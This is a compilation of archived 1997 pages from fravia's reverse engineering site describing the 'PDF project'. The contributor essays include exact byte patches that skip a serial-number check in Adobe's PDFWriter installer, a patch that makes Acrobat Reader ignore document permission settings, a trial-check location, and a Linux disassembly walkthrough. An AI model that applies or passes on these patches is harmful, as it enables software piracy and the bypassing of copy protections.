satisfaction if and when you master it): a good comprehension of this pdf
format will allow you to quickly write a *.txt ==> *.pdf file converter
which we will then distribute (of course for free) on the net.
Yes, we'll do now that what Adobe should have madeby itself long ago.

De nihilo, nihil:
You'll find some first info (and you'll be able to download reader) at
http://www.adobe.com/acrobat/
At the beginning of your work you'll quikly find out that there
is already a first (bad) attempt at cracking this format on the web.
Actually it is not a 'crack', but a programmer that wanted to port
acrobat to another platform (and had some problems with Adobe, of
course). You'll be able to download there some files specifications
that will spare you a lot of work.
You'll have to perform some social engineering as well, in order to
get the info you need: that is good, a good cracker IS a social engineer.

I believe you'll have to work a little to crack this project which


will teach you a lot in my opinion, and there is another advantage:
THIS CAN BE SOLVED ONLY IF YOU WORK TOGETHER, i.e. not alone, try
by yourself to form little groups, you'll see how quikly you'll get
to the solution thattaway.

Work well
+ORC

Nachwort
by fravia+ (29 October 1997)

Well, I received this four hours ago from +ORC's hotmail identity (as usual the original ID that hotmail lets through when
you send from it is useless: some 'spare' one month trial AOL account that +he just fakes, uses and throws away :-) and I
decided to publish immediately. Indeed I seem to have (unvoluntarly) given him this whole idea: I wrote him that I had
received some (pretty good) tutorials by Ghiribizzo, yet these were in *.pdf protected format, and I did not wanted to
publish them as such. I told him that I had only Adobe Reader, and that i did not have Adobe Acrobat. His answer was
typical:

Well crack them nevertheless. You don't need Acrobat to crack that crap,
Reader is more than enough... and come to think of it, once you have
understood pdf, write a converter, that format would for sure look nice
for the essays... formositas dimidium dotis. Besides, having done it all
of your own will give you some more glory.

So I am very happy with this project, and I hope we all will succeed.

Well, what are you waiting for? Go to the pdf-project page


Back to the blackboard

http://www.instinct.org/fravia/newuni.htm (4 of 5) [2/7/2001 3:18:50 PM]


newuni

homepage +ORC counter measures tools stalking enslavement academy database


students' essays antismut cocktails search_forms anonymity mail_fravia
Is reverse engineering legal?

http://www.instinct.org/fravia/newuni.htm (5 of 5) [2/7/2001 3:18:50 PM]


pdffing

+HCU: Academy of reverse engineering


Founded by +ORC in April 1996

PDF-PROJECT
(Portable Document Format reversing, November 1997)

STARTING POINT
(Background Info: see +ORC email on newuni.htm)

As first contribution I'll give you here the very protected files that caused my original email to +ORC in
the first time. They are not only "target material" but "study material" as well, since these essays from
Ghiribizzo are interesting in themselves.

PDF PROJECT FIRST PHASE MATERIAL:


PSedit (ghiric1.pdf)
low security, menu and option grayed, Acrobat reader can still close and pass to another file
How to protect better, a strategy (ghiric3.pdf)
higher security, heading still there with the three boxes, reader cannot open another file
Numega's Boundschecker 5.xx (ghiric7.pdf)
higher security, heading still there with the three boxes, reader cannot open another file

And you'll of course find more 'ghiribizzi' on


Ghiribizzo's own site

WORK IN PROGRESS
Here are the first interesting answers, a lot of people have immediatly started working on this, with
amazing results: I believe that you'll nowhere on the whole Web find -now- a page that has so many info
about acrobat's format. And I had almost no info to give on this three days ago!
Examining the messages I have got, I notice that some found this project relatively easy, some, on the
countrary, quite hard, many where happy to tackle this kind of targets. Globally I noticed that things
where somehow easier for all 'unix/linux buffs', somehow more difficult for DOS/Windoze's crackers. I'm
beginning to suspect that +ORC idea with this was to put unixers and windozers together on a common
project...

http://www.instinct.org/fravia/pdffing.htm (1 of 3) [2/7/2001 3:18:53 PM]


pdffing

Well, I may add a short note of satisfaction: I published this "call for a project" three days ago and we
are ALREADY NOW more deep in this matters than (almost) anybody else on the Web! Not bad, is it?

PHASE 1, by JimBob, 31 October 1997


~
The Aerial trick
How to crack any pdf security setting
(The Aerial RTF format converter)
PHASE 2, by zeezee, 31 October 1997
~
Create PDF documents for free reversing Adobe PDF Writer
You know how to create .pdf documents? No? I will -shortly- explain it
(another nice HIEW lesson)
PHASE 3, by Zer0+, 1-12 November 1997
~
Quick starting notes and pdf again
(boolean variables inside PDF files)
PHASE 4, by Ragica, 1 November 1997
~
A Response to +ORC's Message Regarding reversing PDF
the biggest collection ever (in fact the only collection ever so far!) of information
regarding hacking PDF and links to relavant information
(Kevin Lair CGI-hacks, the GhostScript hack, many good starting point for the
USER crack)
PHASE 5, by SiuL+Hacky, 12 November 1997
~
Linux cracking: the live approach (acrobat reader)
Linux advanced reverse engineering: imported functions
PHASE 6, by Snatch, 13 November 1997
~
Cracking all nag-screen and time-trial protections (Aerial32 as example)
(Resource-ID fishing)

http://www.instinct.org/fravia/pdffing.htm (2 of 3) [2/7/2001 3:18:53 PM]


pdffing

Back to the blackboard Back to newuni.htm

homepage +ORC counter measures tools stalking enslavement academy database


students' essays antismut cocktails search_forms anonymity mail_fravia
Is reverse engineering legal?

http://www.instinct.org/fravia/pdffing.htm (3 of 3) [2/7/2001 3:18:53 PM]


Embedded Secure Document
The file http://www.instinct.org/fravia/ghiric1.pdf is a secure document that has been embedded in this
document. Double click the pushpin to view ghiric1.pdf.

http://www.instinct.org/fravia/ghiric1.pdf [2/7/2001 3:19:00 PM]


Embedded Secure Document
The file http://www.instinct.org/fravia/ghiric3.pdf is a secure document that has been embedded in this
document. Double click the pushpin to view ghiric3.pdf.

http://www.instinct.org/fravia/ghiric3.pdf [2/7/2001 3:19:06 PM]


Embedded Secure Document
The file http://www.instinct.org/fravia/ghiric7.pdf is a secure document that has been embedded in this
document. Double click the pushpin to view ghiric7.pdf.

http://www.instinct.org/fravia/ghiric7.pdf [2/7/2001 3:19:19 PM]


jimbob

PDF: The Aerial trick


(How to crack any pdf security setting)
by JimBob

(31 October 1997)

Courtesy of Fravia's page of reverse engineering

Well, short and directly to the point, I added some info about Aerial code at the end

Hi,
I visited your site last night and saw the info on
cracking Acrobat and PDFs. I've been interested in this file format
for awhile now since it is such a versitile format. I would like to
suggest another aspect of PDF cracking, extracting embedded fonts.

Also,
I have discovered that as long as you can open a pdf, text extraction
is no problem, no matter what the security settings are. I extracted
ghiric7.pdf text without a hitch. The secret is a free plugin for
exchange from Ambia (www.ambia.com). It allows extracting the text
to RTF format, and will do so even if selecting, printing, modifying
etc are all pw protected, it doesnt matter, it still extracts it. It
is supposed to extract the pictures too, but I've found that it's
just not that good at it.

You must first run Exchange and laod a PDF, then activate the aerial
toolbar. Close the file and the toolbar stays active. Now even if
you load say gharic7.pdf, which makes the Acrobat toolbar disappear,
the Ambia plugin stays active, select Extract to RTF and the text is
yours. Oh yea the plugin is called Aerial.

Can't wait to see how this project comes out!

JimBob

Some of you may like to know that inside Aerial there are some

cmp dword ptr (eax+6CH), 1Eh

And that 1Eh (0x1E) corresponds to Decimal 30, like 30 days... and yes, there
is also another protection scheme there, as stupid as this one.

(c) JimBob 1997. All rights reserved

http://www.instinct.org/fravia/jimbob.htm (1 of 2) [2/7/2001 3:19:21 PM]


jimbob

You are deep inside fravia's page of reverse engineering, choose your way out:

Back to the PDF-Project

homepage links anonymity +ORC students' essays Academy database


tools cocktails antismut CGI-scripts search_forms mail_Fravia
Is reverse engineering illegal?

http://www.instinct.org/fravia/jimbob.htm (2 of 2) [2/7/2001 3:19:21 PM]


zeepdf

PDF: Create PDF documents for free


reversing Adobe PDF Writer
(You know how to create .pdf documents? No? I will -shortly-
explain it)
by zeezee

(31 October 1997)

Courtesy of Fravia's page of reverse engineering

Well, a nice contribution by zeezee, it's the 'lazy' way, yet it's interesting indeed, and can be useful for all those
following the 'harder' way...

The last +ORC idea to crack .pdf is pretty cool. I thought about it several
months ago, having a need to produce .pdf documents without Acrobat.
I'm too lazy to even think about writing a txt -> pdf converter myself.

First (and not so bad) idea was to go to Adobe site and look through.
Bingo! (say 'small bingo'). I found an update to PdfWriter for NT.
Seems that they have not released the correct PDFWriter on the Exchange
CD.
D/L it and tried to install. Wanted serial# to install.
1/2 hour reversing and it worked fine (I had lost my serial).

So, now I'm able to produce .pdf documents from, say, Word using PDFWriter
as one of the printers (exactly like Ghiribizzo does, see File/Doc Info/
General).
This should solve the "txt -> pdf converter" problem for all the lazy ones.
Download PDFWriter update from Adobe site, do some minor cracking, and
you're able to produce full-blown .pdf files.

The approach I used is somewhat original. No IDA, no SoftICE, HIEW only.

A short description of my work is here:

------------------------------------------------------------------------------
Create PDF documents for free using Adobe PDF Writer
(for NT-ers only)
by zeezee

You know Acrobat Reader and .pdf documents. Everyone knows them.
You know how to create .pdf document? No? I - shortly - explain it.

There are many ways.


First, you can buy Adobe Exchange. Simple but not so elegant for real crackers.

http://www.instinct.org/fravia/zeepdf.htm (1 of 3) [2/7/2001 3:19:24 PM]


zeepdf

You would then get Acrobat Distiller, which converts PostScript to PDF and
PDFWriter, which is a printer driver allowing making PDF documents from all
Windoze programs that can print. You simply print to PDF Writer and your PDF
document is ready.
Second, you can write a nice txt->pdf converter if you wish. Not-so-simple,
but interesting and formative work (+orc will thank you personally on his
new recyclable bits).
And, third: look for our target! Adobe is giving it for free on its web site!

So, let's focus on this third variant.

Files needed:
- PWNT302.EXE (or maybe newer version) from adobe or mirror
- HIEW.EXE as usual.

The smart people at Adobe released NT version of Acrobat Exchange before the
final version of PDFWriter was released. So they released update version 3.02
on their web site. PWNT302.EXE it's the name and ca. 1.2M is the length.
But this version asks for our beloved serial# during setup and does not install
when it's not correct.
First I tried to disassemble setup program. It is compressed InstallShield
image using setup.ins as a compiled script file. I had no idea how to find
serial# screen.
So I tried to find other way. How to change the script (common to 80% of
installed software for '95 or NT) so that it skips this screen.

When you have PWNT302.EXE and HIEW ready go this way.

Steps marked '-' are essential, steps marked '*' are informational only.

- start Windows Explorer


- clear the contents of your Windows temp directory (c:\temp or something like
that), just to avoid copying junk
- start PWNT302.EXE and press Next until serial# screen is shown
- then press Alt-Tab to go to Explorer
- copy all files from temp folder to, say, c:\t1
You have uncompressed setup program there.

* go to _ISTMP0.DIR (the digit may vary if temp dir wasn't empty)


* open ACROINST.INI with notepad
Nice script, isn't it?
Look at keys starting with Display - there are dialogs setup shows.
DisplaySVAL is the key to success. It controls displaying of serial# valida-
tion (surprise???)
But we can't simply change it to NO because setup _creates_ this file always
and it's locked during setup so we can't edit it.
I used grep to find 'DisplaySVAL' in all setup files and found 2 occurrences
in SETUP.INS. It's a kind of compiled setup script and I have no idea how to
patch it to assume 'NO' to this question. But there is another possibility.
SETUP.INS wants to find DisplaySVAL string in ACROINST.INI. So we can change
one letter in this string inside SETUP.INS and it will search for DisplayXVAL

http://www.instinct.org/fravia/zeepdf.htm (2 of 3) [2/7/2001 3:19:24 PM]


zeepdf

which it definitely doesn't find. Now all depends on default behaviour when
DisplaySVAL key isn't found but - to our luck - it is good.
Close Notepad. You now know what to do.

- switch back to setup and close it. Files from temp will be deleted.

- open copied SETUP.INS with hiew. Search for DisplaySVAL


Edit it so (offsets may vary in next versions of setup)
20A0B: 53 -> 58
20CAD: 53 -> 58
This changes DisplaySVAL to DisplayXVAL 2 times.

- run setup.exe and - voila! no serial# validation. Other installation goes


smoothly.

- happy PDF writing.

Greets to +orc and all in the cracking universe.


------------------------------------------------------------------------------

3. Conclusion: InstallShield SETUP.INS cracking is a challenge. I will work on


this target as time allows.

zeezee (zee_zee@hotmail.com)

(c) zeezee 1997. All rights reserved

You are deep inside fravia's page of reverse engineering, choose your way out:

Back to the PDF-Project

homepage links anonymity +ORC students' essays Academy database


tools cocktails antismut CGI-scripts search_forms mail_Fravia
Is reverse engineering illegal?

http://www.instinct.org/fravia/zeepdf.htm (3 of 3) [2/7/2001 3:19:24 PM]


zeropdf

PDF: Quick starting notes


and pdf again
(A short comment, snatched by fravia+ and a 'deeper' essay
:-)
by Zer0+

The Quick starting notes have been snatched on 1 November 1997 and have been left
here because they may be useful as well, yet you'll find below the 'real' +Zer0+'s final
essay (12 November 1997)

Courtesy of Fravia's page of reverse engineering

Well, I have snatched this without Zer0+'s authorization, because I believe that it can be helpful for many
more people than he thought :-)
This was of course only a 'place holder' until Zer0+ sand his real essay ('pdf again')

I have started to work on the pdf crack +ORC asked us. I downloaded
http://www.adobe.com/supportservice/devrelations/PDFS/TN/PDFSPEC.PDF
file which is a detailed description of the pdf format, so not much
cracking on that. (Some of us might start to write the txt -> pdf
converter based on the specs.)
After reading the security specs I got the next preliminary
conclusions:

Whether the menubar, toolbar of the reader is present when you open
a document is not connected to the security, its controlled by
boolean variables HideMenuBar, HideToolBar in the Viewer Preferences
section of the file. You can change the true settings to false and
they appear when you open the file. Be careful though not to change
the lenght of the file when you change the text (you have enough space
there fortunatelly), because the file lenght is linked to the security
heavily.

The restrictions what can be done with a file is contained in the P


variable of the Filter section. Its an unsigned word value certain
bits representing the writing, copying printing permissions of the
user. You can not change this value to eliminate the restrictions

http://www.instinct.org/fravia/zeropdf.htm (1 of 5) [2/7/2001 3:19:27 PM]


zeropdf

because all text and picture data of the file (but not the file
itself) is encoded by the RSA algorithm using a key provided by
a hash function from a random file ID, the userkey, the permission
value etc. This means that if we change permission value the text
and data cannot be decoded correctly. (The reader complains of
corrupted file, tries to fix it etc.) Therefore, we must let the
program to decode the text with the original permission value
and patch the program to set itself up with a "let him do everything"
value later on.

I got all this info only by reading the specs and setting values in
the pdf files. Now I try to find the part of the program where he sets
itself up according to the permission value. BTW the acrobat reader
(being only a reader) does not allow modifying a document
independently of the permission value which means this restriction
is logically hard coded in it.

I wrote this to inform you in which direction I am going with this


project and to facilitate quick exchange of information to spare
some work for all of us.

bye
Zer0+

pdf again
Well, +zer0+ has worked quite a lot on the pdf-project, and I find VERY interesting the comparison with
the recent essay by SiuL+Hacky on LINUX Acrobat reversing, that you can find here. I too believe that
the idea of writing a small utility to get the user and owner password of a pdf document, is a very good
one. As so often happens in life, excessive (and as we all know totally unjustified) belief in the strength of
software protections can be turned by any reverse engineer in a catastrophe for the very people that
wanted to protect themselves.

pdf again
by +Zer0
Here I send, as promised, a polished version of the Acrobat reader
patch which enables to select and copy parts of a document
independently of Adobe security settings.
I do not want to repeat here how the whole encryption is working
in a PDF document (you can find that in the PDF specs from
Adobe or understand it reading the many essays inside +HCU's
pdf-project), so I just point out the most important things.

http://www.instinct.org/fravia/zeropdf.htm (2 of 5) [2/7/2001 3:19:27 PM]


zeropdf

- If a PDF document is encrypted by using the Standard security


handler the P key containes the permissions which are granted
when the document is opened with the user password. Its a word
value, FFFC meaning you are allowed to do everything, FFC0 means
you can=B4t touch the document.

- You can't just rewrite this value in the document because it


is used for generating the key which is used to encrypt the
document (check the specs for details.)

- However, here is a note from the PDF specs:

"Despite the specification of document permissions in a PDF file,


PDF cannot enforce the restrictions specified. It is up to the
implementors of PDF viewers to respect the intent of the document
creator by limiting access to an encrypted PDF file according to
the permissions and passwords contained in the file."

This means that a reader can ignore the permission settings.


Unfortunately, this nice feature is missing from Acrobat Reader
so we have to work a bit.

Target: Adobe Acrobat Reader 3.00 2 263 552 bytes

Our main aim is to find the place of the program where the
permission value can be modified to let us do everything without
affecting the decryption of the document.

What I did was: set a break point on kernel _lread to monitor


the file access, if the P value was read into memory breakpoint
set break point on its memory position and see where the program
touches it. This way I got to code at 47D50D where the program
starts to parse it, at 4CDF3D it converts the string to word
value and later puts it at the 26C position of a structure
at 442844 MOV [ECX+0000026C], EAX. This was an effective, but
long and boring way to find this position. Now looking back
I could have found it by searching the dead listing for the
value FFFC (remember this is the let everything to do value
which is used when there is no protection) the program sure
moves it into [ECX+0000026C] a few times. Well, this means
I am still quite a way from being a ZEN cracker :( and once
again proves the words of the great Dave Mustaine "Hindsight
is always 20-20" :)

Now that we have this position we can see what the program
is doing with it. It takes the value at 442CB8 for generating

http://www.instinct.org/fravia/zeropdf.htm (3 of 5) [2/7/2001 3:19:27 PM]


zeropdf

the decryption key and at 4430E5 it copies it to position


20C and used for setting the permissions. I wanted to fiddle
with the permission settings as far as possible from the
decryption part so I followed it till 480A62 where it moved
to [esi+78] position. Actually the value has been transformed
a bit high order byte to 7F and low order byte incremented
by 1 so the desired value at this position is 7FFD instead
of FFFC. It seems the program is not moving it any further
so we have to patch here to move 7FFD into [esi+78].

This enables selecting text and pictures from any document


and printing it. If you check the security settings menu
point you will see the original settings because the
program reads the 26C position which we have not changed
to present the settings. If you want to change that you
can fiddle with one of the few instructions which reads
[reg+0000026C], but I actually forgot which one. I myself
prefer not to change it, this way I can check what kind of
permissions the author originally set for us :)

One last thing: the author of the pdf document can set
whether the menubar toolbar and windowUI is displayed
when a document is opened. This is controlled by the
HideToolBar, HideMenuBar and HideWindowUI flags in the
ViewerPreferences dictionary. We of course want to have
these goodies always on (which is the default value) so
can destroy the reference to these flags so the program
cannot recognise them. Therefore search these strings in
the reader exe file and change one letter in them. Now the
program cannot parse these settings in the PDF file 'correctly'
anymore so we always have the goodies on.

PS: I think now I'll move on to a deeper analyse of the


pdf standard encryption handler and I will write a small
utility to get the user and owner password of a document
(if I can).
I am just curious what could be the owner password of the
Ghiribizzo files :)

Zer0+
(c) Zer0+ 1997. All rights reserved

You are deep inside fravia's page of reverse engineering, choose your way out:

Back to the PDF-Project

http://www.instinct.org/fravia/zeropdf.htm (4 of 5) [2/7/2001 3:19:27 PM]


zeropdf

homepage links anonymity +ORC students' essays Academy database


tools cocktails antismut CGI-scripts search_forms mail_Fravia
Is reverse engineering illegal?

http://www.instinct.org/fravia/zeropdf.htm (5 of 5) [2/7/2001 3:19:27 PM]


linux2.htm

Linux cracking: the live approach (acrobat reader)


(Linux advanced reverse engineering: imported functions)

by SiuL+Hacky

(12 November 1997)

Courtesy of fravia's page of reverse engineering

Well, another VERY remarkable essay, that I am proud to present. SiuL+Hacky tackles here once more UNCOVERED ground,
and teaches all of you more elements of Linux reverse engineering... you may want to check his good first essay about Linux
reverse engineering... a bad omen of these commercial times... even Linux is getting more and more soiled by commercial
overbloated applications :-(

LINUX CRACKING: THE LIVE APPROACH. ACROBAT READER.

I.Introduction
---------------

In my first linux essay you could get an introduction on how to port our
windoze techniques to the linuz world. It was mainly dedicated to dead
approach, because it is really powerful for some kind of programs. But
sadly, as you'll see, huge and overbloated programs are getting into Linux
and if you want to reverse engineer your target you need some debugging
(unless you are a 'senior' mental cracker).

With this essay I'll try to introduce you the linux graphic environment,
XWindows (no kind of porno environment eh !). It may look like Windoze but
internally is very different in some aspects. The main difference is that it
uses the ubiquitous client-server scheme. Anyway, I don't have the time nor
the knowledge (+ hcu 1999 ?) to teach you thoroughly how it works, but
I'll show the starting point for cracking X applications. In linux you can
use several X servers, the most popular is XFree86 server but I hope that
any of them will do it.

+ORC's proposal for cracking acrobat-pdf tools is a good opportunity for


practising these methods. I told you, as I told him, that I think is not
worthy losing time writing a text-to-pdf converter, because it does exist
and there are still several uncracked (and important) protection schemes.
So, here I'm gonna crack Acrobat Reader (yes, it is available for linux,
though the same windoze restrictions apply) with two main goals :

- I want to see always Menu and Toolbars.


- I don't want copy text restrictions and so on.

I got it from a Spanish magazine, but I suppose it is freely available at


Adobe's site. You realise this is not reverse engineering pdf-format but

http://www.instinct.org/fravia/linux2.htm (1 of 14) [2/7/2001 3:19:34 PM]


linux2.htm

Acrobat Reader. (I would like to see other people reverse engineer the
pdf-format).

II. ToolX of the Trade.


------------------------

Obviously here you'll find some X-specific tools. Most of the tools I told
you in my first essay apply for X-RE. Especially useful is gonna be DASM,
because, though we are gonna use the live approach, the assembler listing is
again invaluable. I repeat you that this will give the clues, but for a
better use of them, READ the manual pages of them.

* xwininfo -----------------------------------------------------------------

This utility gives you information about a specific window. By default it asks
to click on the target window you want to gather information. Be careful, and
don't think here about "window" in the Windoze way. When I click with the mouse
on a window, I'm clicking on the "physical" window, on the super-parent window
(called root window) if you want to put it that way. Each window (buttons for
instance are child windows) has an identifier. These are some useful switches:

- tree: Display all windows (root, parent and children) in a recursive way. It
displays the identifier (known as Drawables) , the size, position and show on.
Here is an example taken for Acrobat Reader:

xwininfo: Window id: 0x2800128 "Acrobat Reader"


Root window id: 0x26 (the root window) (has no name)
Parent window id: 0x8001ad (has no name)
1 child:
0x2800129 (has no name): () 272x367+0+0 +527+121

... some other windows ...

0x2800148 (has no name): () 24x24+3+3 +530+183; << toolbar button


0x2800147 (has no name): () 24x24+27+3 +554+183;<< toolbar button
0x2800146 (has no name): () 24x24+51+3 +578+183;<< toolbar button
0x2800145 (has no name): () 6x24+75+3 +602+183
0x2800144 (has no name): () 24x24+81+3 +608+183;<< toolbar button
0x2800143 (has no name): () 24x24+105+3 +632+183;<<toolbar button
0x2800142 (has no name): () 24x24+129+3 +656+183; << and more ...
0x2800141 (has no name): () 6x24+153+3 +680+183
0x2800140 (has no name): () 24x24+159+3 +686+183
0x280013f (has no name): () 24x24+183+3 +710+183
0x280013e (has no name): () 24x24+207+3 +734+183
0x280013d (has no name): () 24x24+231+3 +758+183
0x280013c (has no name): () 6x24+255+3 +782+183
0x280013b (has no name): () 24x24+3+30 +530+210
0x280013a (has no name): () 24x24+27+30 +554+210
0x2800139 (has no name): () 6x24+51+30 +578+210
0x2800138 (has no name): () 24x24+57+30 +584+210
0x2800137 (has no name): () 24x24+81+30 +608+210
0x2800136 (has no name): () 24x24+105+30 +632+210
0x2800135 (has no name): () 6x24+129+30 +656+210

http://www.instinct.org/fravia/linux2.htm (2 of 14) [2/7/2001 3:19:34 PM]


linux2.htm

0x2800134 (has no name): () 24x24+135+30 +662+210


0x2800133 (has no name): () 6x24+159+30+68 6+210

... some other windows ...

Of course, the first hex number is the window identifier, that will be
especially useful for other, or even this, tool.

-id : with this option you don't need to click on a specific window but you
can gather information for any window in particular.

-all: display all the information available.

* xev ----------------------------------------------------------------------

This utility reports all the events involved with some window. Switches:

-id: If you don't give it an identifier, xev will display a test window,
where you can test mouse, keyboard and other kinds of event.

In some cases you may use this program for matching identifiers. For example
if run xev -id 0x2800148
But you don't know what window (child window) has this identifier! Just
move your mouse over the windows and you'll get messages just when
you'll be over the window you are looking for (BTW MotionNotify events).

* xxgdb --------------------------------------------------------------------

It is just the Xwindows front end for gdb. The only addition is a ButtonBar
with some useful commands. We'll see some useful commands while debugging
acrobat reader. I hope, in a future essay, to show some more friendly tools,
but as for now this is the most widespread and stable tool I know of.

* XWindows API Reference ----------------------------------------------------

Working with Windoze programs, it turned important to know some "regular"


API calls like MessageBox, GetDlgItemText and so on. Well, the same apply,
or will apply, for XWindows. You may get the call definitions in the .h files
located usually in the directory /usr/X11R6/include/X11. I found particularly
interesting a document available at xfree86 site (ftp.xfree86.org), or, even better,
look for a mirror in a ftpsearch:

xlib.PS.Z (971 Kb)

This is a 400 pages PostScript document where you'll find a lot of information.
It's hard to find books about Xwindows programming, so if you know some
tutorial or some document useful for our purposes, send them to the +HCU to
be included in the next revision of this essay.

* Text-to-pdf converters -----------------------------------------------------

http://www.instinct.org/fravia/linux2.htm (3 of 14) [2/7/2001 3:19:34 PM]


linux2.htm

This does exist (there's a good document about it at fravia's pdf project
page), and you'll need it for testing Acrobat Reader. It is necessary to
get a fully unprotected document and test it against protected ones.
I converted text to pdf passing through a PostScript intermediate stage.

mpage: this program converts text to PostScript easily.

GhostScript: this is not only a PostScript viewer, but it has a built-in


PostScript to pdf converter. If you don't want to go into GhostScript
internals (a hell for me), use pstoedit, for example, to manage this task.

III. Reverse Engineering Acrobat Reader.


-----------------------------------------

Let's suppose Acrobat is the base directory where it is installed. You'll


find easily that it is invoked with "acrobat", a file in Acrobat/bin
directory with just 8467 bytes. Impossible for this huge monster (you'll
see). It is just a Shell Script that calls the huge monster
Acrobat/Reader/intellinux/acroread, 2.511.477 bytes full of nops (believe
me, I had a look). Ok, dasm it and the monster will be a ghastly hideous
creature of 38.625.635 bytes and almost 1 million lines.
I do recommend you not to edit it, and use the "less" viewer (with the
searching capabilities you need).

Have a look at the symbol table (with the name of the functions, inside and
outside the program. Very nice gift from the Adobe's guys), and what should
be a reverser bliss will be a cracker curse: MORE THAN 16000 functions (many
of them repeated) with names as amazing as :

DefaultAnnotHandlerNotifyAnnotAddedToSelection
_XmAllowAcceleratedInsensitiveUnmanagedMenuItems
_XmVirtKeys_siemensWx200FallbackBindingString
_XmVirtKeys_dblclkFallbackBindingString

and bla, bla, bla.

I started writing down some name that could be interesting, then I started
skimming through and finally I scrolled them away. I am going to show you the
functions I saw suspicious. At the end of the essay you'll realise it could
have been very easy with a little Zen cracking, but I was not completely
lucky (and for once I didn't want to be lucky) and I used the methodical
approach that always saves you when your Zen is broken. Look at the
following names:

UnixMenubarInitialize
UnixMenuRemoved
UnixPageViewCancelToolButtons
UnixToolbarHide
AVCrypt
DecryptPerms0
DecryptPerms1
UnixDlgSecurityGetValues
UnixCryptGetPasswd

http://www.instinct.org/fravia/linux2.htm (4 of 14) [2/7/2001 3:19:34 PM]


linux2.htm

I had a look at the code of these functions, and thne I tested them with
the debugger, setting breakpoints and watching returned values. I got
nothing, so I just searched once more, this time for the string "Hide".
I wrote down these functions:

AVToolBarHide
AVMenuBarHide
UnixMenubarWidgetHide

Looking the code of the last one I was lucky, help yourself:

Referenced from jump/call at 08062c64 ;

08048500 <UnixMenubarWidgetHide> pushl %ebp


08048501 <UnixMenubarWidgetHide+1> movl %esp,%ebp
08048503 <UnixMenubarWidgetHide+3> subl $0x10,%esp
08048506 <UnixMenubarWidgetHide+6> pushl %ebx
08048507 <UnixMenubarWidgetHide+7> movl 0x10(%ebp),%ebx
0804850a <UnixMenubarWidgetHide+a> movb %bl,0xffffffff(%ebp)
0804850d <UnixMenubarWidgetHide+d> movl 0x8(%ebp),%eax
08048510 <UnixMenubarWidgetHide+10> pushl %eax

Reference to function : AVMenubarGetServerData

08048511 <UnixMenubarWidgetHide+11> call 08089090 << I always thought that


<< this function could be
<< important... I was wrong
.... code and code ....

08048590 <UnixMenubarWidgetHide+90> movl 0xfffffff8(%ebp),%eax


08048593 <UnixMenubarWidgetHide+93> cmpb $0x0,0x4(%eax) << compare something
08048597 <UnixMenubarWidgetHide+97> jne 080485bc << if not zero
return and do nothing
08048599 <UnixMenubarWidgetHide+99> cmpb $0x0,0xffffffff(%ebp) << if local var = 0
some SHOWING
0804859d <UnixMenubarWidgetHide+9d> je 080485b0 << else some HIDING
0804859f <UnixMenubarWidgetHide+9f> movl 0xc(%ebp),%eax
080485a2 <UnixMenubarWidgetHide+a2> pushl %eax

Reference to function : UnixMenubarWidgetHideInternal

080485a3 <UnixMenubarWidgetHide+a3> call 08048480


080485a8 <UnixMenubarWidgetHide+a8> addl $0x4,%esp
080485ab <UnixMenubarWidgetHide+ab> jmp 080485bc
080485ad <UnixMenubarWidgetHide+ad> nop
080485ae <UnixMenubarWidgetHide+ae> nop
080485af <UnixMenubarWidgetHide+af> nop

Referenced from jump/call at 0804859d ;

080485b0 <UnixMenubarWidgetHide+b0> movl 0xc(%ebp),%eax


080485b3 <UnixMenubarWidgetHide+b3> pushl %eax

Reference to function : UnixMenubarWidgetShowInternal

http://www.instinct.org/fravia/linux2.htm (5 of 14) [2/7/2001 3:19:34 PM]


linux2.htm

080485b4 <UnixMenubarWidgetHide+b4> call 080484d0


080485b9 <UnixMenubarWidgetHide+b9> addl $0x4,%esp

Referenced from jump/call at 08048597 ; 080485ab ;

080485bc <UnixMenubarWidgetHide+bc> movl 0xffffffec(%ebp),%ebx


080485bf <UnixMenubarWidgetHide+bf> movl %ebp,%esp
080485c1 <UnixMenubarWidgetHide+c1> popl %ebp
080485c2 <UnixMenubarWidgetHide+c2> ret

What happen with that important variable ? If you look at instruction


804850, it is copied from one of the parameters of the function. With some
basic parameter theory (if not, read fravia's+ good filemon series)
you know that :

1st parameter is located at [bp+0x8]


2nd parameter is located at [bp+0xc]
3rd parameter is located at [bp+0x10]

(of course, if we consider one parameter = one word length). Ok, let's have
a look at the caller (this function is called from 08062c64). Pay attention
to the parameters please:

(... some lines not important ...)


Reference to function : AVDocGetKioskBool

08062c24 <UnixDocViewUpdateVisibility+44> call 0807d290 <<<< the function


returns 1 or 0 into eax
08062c29 <UnixDocViewUpdateVisibility+49> addl $0x8,%esp
08062c2c <UnixDocViewUpdateVisibility+4c> movl %eax,%edx
08062c2e <UnixDocViewUpdateVisibility+4e> movsbl %dl,%eax << the returned value
is in eax again
08062c31 <UnixDocViewUpdateVisibility+51> jmp 08062c42 << look at these nops,
08062c33 <UnixDocViewUpdateVisibility+53> nop << nop
<< kind of mega-pentium alignment or room for patching?
08062c33 <UnixDocViewUpdateVisibility+53> nop
08062c34 <UnixDocViewUpdateVisibility+54> nop
08062c35 <UnixDocViewUpdateVisibility+55> nop
08062c36 <UnixDocViewUpdateVisibility+56> nop
08062c37 <UnixDocViewUpdateVisibility+57> nop
08062c38 <UnixDocViewUpdateVisibility+58> nop
08062c39 <UnixDocViewUpdateVisibility+59> nop
08062c3a <UnixDocViewUpdateVisibility+5a> nop
08062c3b <UnixDocViewUpdateVisibility+5b> nop
08062c3c <UnixDocViewUpdateVisibility+5c> nop
08062c3d <UnixDocViewUpdateVisibility+5d> nop
08062c3e <UnixDocViewUpdateVisibility+5e> nop
08062c3f <UnixDocViewUpdateVisibility+5f> nop

Referenced from jump/call at 08062c0b ;

08062c40 <UnixDocViewUpdateVisibility+60> xorl %eax,%eax

http://www.instinct.org/fravia/linux2.htm (6 of 14) [2/7/2001 3:19:34 PM]


linux2.htm

Referenced from jump/call at 08062c31 ; << we are JUMPING TO HERE !!!!!!!!!!


<< more nooping, if +orc would see
this :-(
08062c42 <UnixDocViewUpdateVisibility+62> jmp 08062c55
... (10 more nops)...
08062c4f <UnixDocViewUpdateVisibility+6f> nop

Referenced from jump/call at 08062c05 ;


08062c50 <UnixDocViewUpdateVisibility+70> movl $0x1,%eax

Referenced from jump/call at 08062c42 ; << we are JUMPING HERE!!!


08062c55 <UnixDocViewUpdateVisibility+75> pushl %eax <<saved 3rd parameter
<< remember eax= returned
value
08062c56 <UnixDocViewUpdateVisibility+76> movl 0x8(%ebp),%eax
08062c59 <UnixDocViewUpdateVisibility+79> movl 0x10(%eax),%edx
08062c5c <UnixDocViewUpdateVisibility+7c> pushl %edx <<saved 2nd parameter
